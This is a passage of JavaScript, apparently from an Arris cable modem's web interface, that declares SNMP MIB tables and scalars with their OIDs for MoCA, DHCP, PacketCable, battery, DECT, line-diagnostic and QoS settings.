\"1.3.6.1.4.1.31621.1.1.1.7.1.3\", 66);\nvar mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex;\nvar mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex;\nvar mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate;\n\nvar mocaBridgeTable = new Table(\"mocaBridgeTable\", \"1.3.6.1.4.1.31621.1.1.1.8\");\nmocaBridgeTable.mocaBridgeNodeIndex = new Column(\"mocaBridgeNodeIndex\", \"1.3.6.1.4.1.31621.1.1.1.8.1.1\", 66);\nmocaBridgeTable.mocaBridgeMacIndex = new Column(\"mocaBridgeMacIndex\", \"1.3.6.1.4.1.31621.1.1.1.8.1.2\", 2);\nmocaBridgeTable.mocaBridgeMacAddress = new Column(\"mocaBridgeMacAddress\", \"1.3.6.1.4.1.31621.1.1.1.8.1.3\", 4,1);\nvar mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex;\nvar mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex;\nvar mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress;\n\n\nvar arrisMtaDevLineCardTable = new Table(\"arrisMtaDevLineCardTable\", \"1.3.6.1.4.1.4115.1.3.3.1.4.1\");\narrisMtaDevLineCardTable.LineNumber = new Column(\"arrisMtaDevLineCardLineNumber\",\"1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1\",2);\narrisMtaDevLineCardTable.State = new Column(\"arrisMtaDevLineCardState\",\"1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2\",2);\nvar arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber;\nvar arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State;\n\n\nvar arrisMtaDevDhcpMtaParameters = new Container(\"arrisMtaDevDhcpMtaParameters\", \"1.3.6.1.4.1.4115.1.3.3.1.1.2.1\");\narrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar(\"arrisMtaDevDhcpMtaIpFQDN\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1\",4);\narrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar(\"arrisMtaDevDhcpMtaIpAddr\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2\",4,1);\narrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar(\"arrisMtaDevDhcpMtaSubNetMask\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3\",4,1);\narrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar(\"arrisMtaDevDhcpMtaGatewayIpAddr\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4\",4,1);\narrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar(\"arrisMtaDevDhcpMtaConfigFile\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5\",4);\nvar arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN;\nvar arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr;\nvar arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask;\nvar arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr;\nvar arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile;\n\n\nvar arrisMtaDevDhcpLeaseParameters = new Container(\"arrisMtaDevDhcpLeaseParameters\", \"1.3.6.1.4.1.4115.1.3.3.1.1.2.3\");\narrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar(\"arrisMtaDevDhcpOfferedLeaseTime\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1\",4,1);\narrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar(\"arrisMtaDevDhcpLeaseTimeRemaining\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2\",4,1);\narrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar(\"arrisMtaDevDhcpTimeUntilRenew\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3\",4,1);\narrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar(\"arrisMtaDevDhcpTimeUntilRebind\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4\",4,1);\nvar arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime;\nvar arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining;\nvar arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew;\nvar arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind;\n\nvar arrisMtaDevDhcpSvrParameters = new Container(\"arrisMtaDevDhcpSvrParameters\", \"1.3.6.1.4.1.4115.1.3.3.1.1.2.2\");\narrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar(\"arrisMtaDevDhcpPrimaryDNSSvrIpAddr\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4\",4,1);\narrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar(\"arrisMtaDevDhcpSecondaryDNSSvrIpAddr\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5\",4,1);\nvar arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr;\nvar arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr;\n\nvar arrisMtaDevDhcpPktcOptParameters = new Container(\"arrisMtaDevDhcpPktcOptParameters\", \"1.3.6.1.4.1.4115.1.3.3.1.1.2.4\");\narrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar(\"arrisMtaDevDhcpSvcProviderSnmpEntity\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2\",4,1);\narrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar(\"arrisMtaDevDhcpKerberosRealmFqdn\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3\",4,1);\narrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar(\"arrisMtaDevDhcpRequestTgt\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4\",4);\narrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar(\"arrisMtaDevDhcpProvTimer\",\"1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5\",2);\nvar arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity;\nvar arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn;\nvar arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt;\nvar arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer;\n\nvar pktcMtaDevBase = new Container(\"pktcMtaDevBase\", \"1.3.6.1.4.1.4491.2.2.1.1.1\");\npktcMtaDevBase.Enabled = new Scalar(\"pktcMtaDevEnabled\", \"1.3.6.1.4.1.4491.2.2.1.1.1.7\",2);\nvar pktcMtaDevEnabled = pktcMtaDevBase.Enabled;\n\nvar pktcSigDevConfigObjects = new Container(\"pktcSigDevConfigObjects\", \"1.3.6.1.4.1.4491.2.2.2.1.1\");\npktcSigDevConfigObjects.DefCallSigTos = new Scalar(\"pktcSigDefCallSigTos\", \"1.3.6.1.4.1.4491.2.2.2.1.1.8\",2);\npktcSigDevConfigObjects.DefMediaStreamTos = new Scalar(\"pktcSigDefMediaStreamTos\", \"1.3.6.1.4.1.4491.2.2.2.1.1.9\",2);\nvar pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos;\nvar pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos;\n\nvar pktcMtaDevRealmEntry = new Container(\"pktcMtaDevRealmEntry\", \"1.3.6.1.4.1.4491.2.2.1.1.3.16.1\");\npktcMtaDevRealmEntry.OrgName = new Scalar(\"pktcMtaDevRealmOrgName\", \"1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4\",4);\npktcMtaDevRealmEntry.PkinitGracePeriod  = new Scalar(\"pktcMtaDevRealmPkinitGracePeriod \", \"1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2\",2);\nvar pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName;\nvar pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod;\n\nvar pktcMtaDevCmsEntry = new Container(\"pktcMtaDevCmsEntry\", \"1.3.6.1.4.1.4491.2.2.1.1.3.17.1\");\npktcMtaDevCmsEntry.KerbRealmName = new Scalar(\"pktcMtaDevCmsKerbRealmName\", \"1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2\",4);\npktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar(\"pktcMtaDevCmsSolicitedKeyTimeout\", \"1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4\",2);\npktcMtaDevCmsEntry.IpsecCtrl = new Scalar(\"pktcMtaDevCmsIpsecCtrl\", \"1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10\",2);\nvar pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName;\nvar pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout;\nvar pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl;\n\nvar pktcNcsEndPntConfigEntry = new Container(\"pktcNcsEndPntConfigEntry\", \"1.3.6.1.4.1.4491.2.2.2.1.2.1.1\");\npktcNcsEndPntConfigEntry.CallAgentId = new Scalar(\"pktcNcsEndPntConfigCallAgentId\", \"1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1\",4);\npktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar(\"pktcNcsEndPntConfigCallAgentUdpPort\", \"1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2\",2);\npktcNcsEndPntConfigEntry.MWD = new Scalar(\"pktcNcsEndPntConfigMWD\", \"1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18\",2);\nvar pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId;\nvar pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort;\nvar pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD;\n\n\nvar docsDevEventTable = new Table(\"docsDevEventTable\", \"1.3.6.1.2.1.69.1.5.8\");\ndocsDevEventTable.EvFirstTime = new Column(\"docsDevEvFirstTime\",\"1.3.6.1.2.1.69.1.5.8.1.2\",4,1);\ndocsDevEventTable.EvLastTime = new Column(\"docsDevEvLastTime\",\"1.3.6.1.2.1.69.1.5.8.1.3\",4,1);\ndocsDevEventTable.EvText = new Column(\"docsDevEvText\",\"1.3.6.1.2.1.69.1.5.8.1.7\",4);\nvar docsDevEvFirstTime=docsDevEventTable.EvFirstTime;\nvar docsDevEvLastTime=docsDevEventTable.EvLastTime;\nvar docsDevEvText=docsDevEventTable.EvText;\n\n\n\n//\n\n\n//battery\n\n\n//\nvar upsBattery = new Container(\"upsBattery\", \"1.3.6.1.2.1.33.1.2\");\nupsBattery.upsBatteryStatus = new Scalar(\"upsBatteryStatus\", \"1.3.6.1.2.1.33.1.2.1\", 2);\n\nvar MtaDevBatteryStatusTable = new Table(\"MtaDevBatteryStatusTable\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.3\");\nMtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column(\"MtaDevBatteryOperState\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2\", 2);\nMtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column(\"MtaDevBatteryOperSubState\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4\", 4,1);\nMtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column(\"MtaDevBatteryOrderingCode\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5\", 4,1);\nMtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column(\"MtaDevBatteryEprom\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6\", 4,1);\n\nvar MtaDevPwrSupplyStats = new Container(\"MtaDevPwrSupplyStats\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5\");\nMtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar(\"MtaDevPwrSupplyBatRatedMinutes\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.10\", 2);\nMtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar(\"MtaDevPwrSupplyBatAvailableMinutes\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.11\", 2);\n// scm ChengTa Lee x2\nMtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar(\"MtaDevPwrSupplyRatedBatCapacity\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.5\", 2);\nMtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar(\"MtaDevPwrSupplyTestedBatCapacity\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.6\", 2);\n// scm ChengTa Lee\nvar MtaDevTrace = new Container(\"MtaDevTrace\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.2\");\nMtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar(\"MtaDevEstimatedMinutesRemaining\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44\", 2);\nMtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar(\"MtaDevEstimatedChargeRemaining\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45\", 2);\n// scm ChengTa Lee x2\nvar arrisMtaDevPwrSupplyRatedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity;\nvar arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity;\nvar upsBatteryStatus = upsBattery.upsBatteryStatus;\nvar arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState;\nvar arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState;\nvar arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode;\nvar arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom;\nvar arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes;\nvar arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes;\nvar arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining;\nvar arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining;\n\nvar DectConfiguration = new Container(\"arrisDectConfiguration\", \"1.3.6.1.4.1.4115.1.3.13.1\");\nDectConfiguration.DectBaseStatus = new Scalar(\"arrisDectBaseStatus\",\"1.3.6.1.4.1.4115.1.3.13.1.1\",4,1);\nDectConfiguration.DectBaseDectModuleHwVersion = new Scalar(\"arrisDectBaseDectModuleHwVersion\",\"1.3.6.1.4.1.4115.1.3.13.1.2\",4);\nDectConfiguration.DectCfgFwVersion = new Scalar(\"arrisDectCfgFwVersion\",\"1.3.6.1.4.1.4115.1.3.13.1.7\",4);\n\nDectConfiguration.DectBaseRFPI = new Scalar(\"arrisDectBaseRFPI\",\"1.3.6.1.4.1.4115.1.3.13.1.3\",4);\nDectConfiguration.DectCfgRegistrationMode = new Scalar(\"arrisDectCfgRegistrationMode\",\"1.3.6.1.4.1.4115.1.3.13.1.4\",2);\nDectConfiguration.DectCfgPortInterfaceIndex = new Scalar(\"arDectCfgPortInterfaceIndex\",\"1.3.6.1.4.1.4115.1.3.13.1.11\",2);\n// scm add start x2\nDectConfiguration.DectCatiqOnOff = new Scalar(\"arDectCatiqOnOff\",\"1.3.6.1.4.1.4115.1.3.13.1.10\",2);\nDectConfiguration.DectBasePin = new Scalar(\"arDectBasePin\",\"1.3.6.1.4.1.4115.1.3.13.1.5\",4);\nvar arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff;\nvar arDectBasePin=DectConfiguration.DectBasePin;\n// scm add end\nvar arDectBaseStatus=DectConfiguration.DectBaseStatus;\nvar arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion;\nvar arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion;\nvar arDectBaseRFPI=DectConfiguration.DectBaseRFPI;\nvar arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode;\nvar arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex;\n\nvar pktcMdiMdiTable = new Table(\"pktcMdiMdiTable\", \"1.3.6.1.4.1.4491.2.2.8.6.1.1\");\npktcMdiMdiTable.MdiMdiName = new Column(\"pktcMdiMdiName\",\"1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2\",4);\nvar pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName;\n\n// scm table\nvar pktcMdiNslPortListTable = new Table(\"pktcMdiNslPortListTable\", \"1.3.6.1.4.1.4491.2.2.8.6.1.2\");\npktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column(\"pktcMdiNslPortListIn\", \"1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3\", 4);\nvar arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn;\n// scm container\nvar DectCfgPinBase = new Container(\"DectCfgPinBase\", \"1.3.6.1.4.1.4115.1.3.13.1\");\nDectCfgPinBase.DectCfgPinCode = new Scalar(\"DectCfgPinCode\",\"1.3.6.1.4.1.4115.1.3.13.1.5\",4,1);\nvar arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode;\n\nvar DectCfgHsTable = new Table(\"arrisDectCfgHsTable\", \"1.3.6.1.4.1.4115.1.3.13.2\");\nDectCfgHsTable.CfgHsRegisteredTn = new Column(\"arrisDectCfgHsRegisteredTn\",\"1.3.6.1.4.1.4115.1.3.13.2.1.1\",2);\nDectCfgHsTable.CfgHsLastActivity = new Column(\"arrisDectCfgHsLastActivity\",\"1.3.6.1.4.1.4115.1.3.13.2.1.2\",2);\nDectCfgHsTable.CfgHsDeregister = new Column(\"arrisDectCfgHsDeregister\",\"1.3.6.1.4.1.4115.1.3.13.2.1.3\",2);\nDectCfgHsTable.CfgHsStatus = new Column(\"arrisDectCfgHsStatus\",\"1.3.6.1.4.1.4115.1.3.13.2.1.4\",2);\nDectCfgHsTable.CfgHsName = new Column(\"arrisDectCfgHsName\",\"1.3.6.1.4.1.4115.1.3.13.2.1.5\",4);\nvar arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn;\nvar arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity;\nvar arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister;\nvar arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus;\nvar arDectCfgHsName = DectCfgHsTable.CfgHsName;\n\nvar DectCfgMdiTable = new Table(\"arrisDectCfgHsTable\", \"1.3.6.1.4.1.4115.1.3.13.3\");\nDectCfgMdiTable.DectCfgMdiToNsl = new Column(\"arrisDectCfgMdiToNsl\",\"1.3.6.1.4.1.4115.1.3.13.3.1.1\",66);\nvar arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl;\n\nvar pktcDectPPTable = new Table(\"pktcDectPPTable\", \"1.3.6.1.4.1.4491.2.2.8.4.1.8\");\npktcDectPPTable.PPStatus = new Column(\"pktcDectPPStatus\",\"1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4\",2);\npktcDectPPTable.PPRegCtrl = new Column(\"pktcDectPPRegCtrl\",\"1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5\",2);\nvar pktcDectPPStatus = pktcDectPPTable.PPStatus;\nvar pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl;\n\n//\n// MTA > Line Diagnostics\n//\nvar MtaDevDiagLoopTable = new Table(\"MtaDevDiagLoopTable\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1\");\nMtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column(\"MtaDevDiagLoopRequest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3\", 2);\nMtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column(\"MtaDevDiagLoopLastResult\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4\", 2);\nMtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column(\"MtaDevDiagLoopHazardousPotentialTest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5\", 4);\nMtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column(\"MtaDevDiagLoopForeignEmfTest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6\", 4);\nMtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column(\"MtaDevDiagLoopResistiveFaultsTest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7\", 4);\nMtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column(\"MtaDevDiagLoopReceiverOffHookTest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8\", 4);\nMtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column(\"MtaDevDiagLoopRingerTest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9\", 4);\nMtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column(\"MtaDevDiagLoopForceRequest\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10\", 2);\nvar arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest;\nvar arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult;\nvar arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest;\nvar arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest;\nvar arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest;\nvar arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest;\nvar arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest;\nvar arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest;\n\n\n//\n// MTA > Service Flow\n//\nvar docsQosServiceFlowTable = new Table(\"docsQosServiceFlowTable\", \"1.3.6.1.4.1.4491.2.1.21.1.3\");\n//docsQosServiceFlowTable.SID = new Column(\"docsQosServiceFlowSID\", \"1.3.6.1.2.1.10.127.7.1.3.1.6\", 66);\n//docsQosServiceFlowTable.Direction = new Column(\"docsQosServiceFlowDirection\", \"1.3.6.1.2.1.10.127.7.1.3.1.7\", 2);\ndocsQosServiceFlowTable.SID = new Column(\"docsQosServiceFlowSID\", \"1.3.6.1.4.1.4491.2.1.21.1.3.1.6\", 66);\ndocsQosServiceFlowTable.Direction = new Column(\"docsQosServiceFlowDirection\", \"1.3.6.1.4.1.4491.2.1.21.1.3.1.7\", 2);\nvar docsQosServiceFlowSID = docsQosServiceFlowTable.SID;\nvar docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction;\n\nvar docsQosParamSetTable = new Table(\"docsQosParamSetTable\", \"1.3.6.1.4.1.4491.2.1.21.1.2\");\n//docsQosParamSetTable.SchedulingType = new Column(\"docsQosParamSetSchedulingType\", \"1.3.6.1.2.1.10.127.7.1.2.1.13\", 2);\n//docsQosParamSetTable.NomGrantInterval = new Column(\"docsQosParamSetNomGrantInterval\", \"1.3.6.1.2.1.10.127.7.1.2.1.18\", 66);\n//docsQosParamSetTable.UnsolicitGrantSize = new Column(\"docsQosParamSetUnsolicitGrantSize\", \"1.3.6.1.2.1.10.127.7.1.2.1.17\", 2);\n//docsQosParamSetTable.TolGrantJitter = new Column(\"docsQosParamSetTolGrantJitter\", \"1.3.6.1.2.1.10.127.7.1.2.1.19\", 66);\n//docsQosParamSetTable.NomPollInterval = new Column(\"docsQosParamSetNomPollInterval\", \"1.3.6.1.2.1.10.127.7.1.2.1.15\", 66);\n//docsQosParamSetTable.MinReservedPkt = new Column(\"docsQosParamSetMinReservedPkt\", \"1.3.6.1.2.1.10.127.7.1.2.1.9\", 2);\n//docsQosParamSetTable.MaxTrafficRate = new Column(\"docsQosParamSetMaxTrafficRate\", \"1.3.6.1.2.1.10.127.7.1.2.1.6\", 66);\n//docsQosParamSetTable.MinReservedRate = new Column(\"docsQosParamSetMinReservedRate\", \"1.3.6.1.2.1.10.127.7.1.2.1.8\", 66);\n//docsQosParamSetTable.MaxTrafficBurst = new Column(\"docsQosParamSetMaxTrafficBurst\", \"1.3.6.1.2.1.10.127.7.1.2.1.7\", 66);\ndocsQosParamSetTable.SchedulingType = new Column(\"docsQosParamSetSchedulingType\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.13\", 2);\ndocsQosParamSetTable.NomGrantInterval = new Column(\"docsQosParamSetNomGrantInterval\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.17\", 66);\ndocsQosParamSetTable.UnsolicitGrantSize = new Column(\"docsQosParamSetUnsolicitGrantSize\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.16\", 2);\ndocsQosParamSetTable.TolGrantJitter = new Column(\"docsQosParamSetTolGrantJitter\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.18\", 66);\ndocsQosParamSetTable.NomPollInterval = new Column(\"docsQosParamSetNomPollInterval\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.14\", 66);\ndocsQosParamSetTable.MinReservedPkt = new Column(\"docsQosParamSetMinReservedPkt\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.9\", 2);\ndocsQosParamSetTable.MaxTrafficRate = new Column(\"docsQosParamSetMaxTrafficRate\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.6\", 66);\ndocsQosParamSetTable.MinReservedRate = new Column(\"docsQosParamSetMinReservedRate\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.8\", 66);\ndocsQosParamSetTable.MaxTrafficBurst = new Column(\"docsQosParamSetMaxTrafficBurst\", \"1.3.6.1.4.1.4491.2.1.21.1.2.1.7\", 66);\nvar docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType;\nvar docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval;\nvar docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize;\nvar docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter;\nvar docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval;\nvar docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt;\nvar docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate;\nvar docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate;\nvar docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst;\n\n\n//\n// CallP / QoS\n//\nvar MtaDevLineCardTable = new Table(\"MtaDevLineCardTable\", \"1.3.6.1.4.1.4115.1.3.3.1.4.1\");\nMtaDevLineCardTable.State = new Column(\"MtaDevLineCardState\", \"1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2\", 2);\nvar arMtaDevLineCardState = MtaDevLineCardTable.State;\n\nvar ppCfgPortTable = new Table(\"ppCfgPortTable\", \"1.3.6.1.4.1.4115.10.1.1\");\nppCfgPortTable.LoopCurrent = new Column(\"ppCfgPortLoopCurrent\", \"1.3.6.1.4.1.4115.10.1.1.1.6\", 2);\nvar ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent;\n\nvar MtaDevOperationalSetup = new Container(\"MtaDevOperationalSetup\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3\");\nMtaDevOperationalSetup.EnableMGCPLog = new Scalar(\"MtaDevOperationalSetupEnableMGCPLog\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.34\", 2);\nMtaDevOperationalSetup.ClearMGCPLog = new Scalar(\"MtaDevOperationalSetupClearMGCPLog\", \"1.3.6.1.4.1.4115.1.3.3.1.2.3.36\", 2);\nvar arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog;\nvar arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog;\n\nvar MtaDevEndPnt = new Table(\"MtaDevEndPnt\", \"1.3.6.1.4.1.4115.1.3.3.1.2.4.3\");\nMtaDevEndPnt.CallPState = new Column(\"MtaDevEndPntCallPState\", \"1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37\", 2);\nvar arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState;\n\nvar MtaDispSignal = new Table(\"MtaDispSignal\", \"1.3.6.1.4.1.4115.1.3.3.1.5.1\");\nMtaDispSignal.Log = new 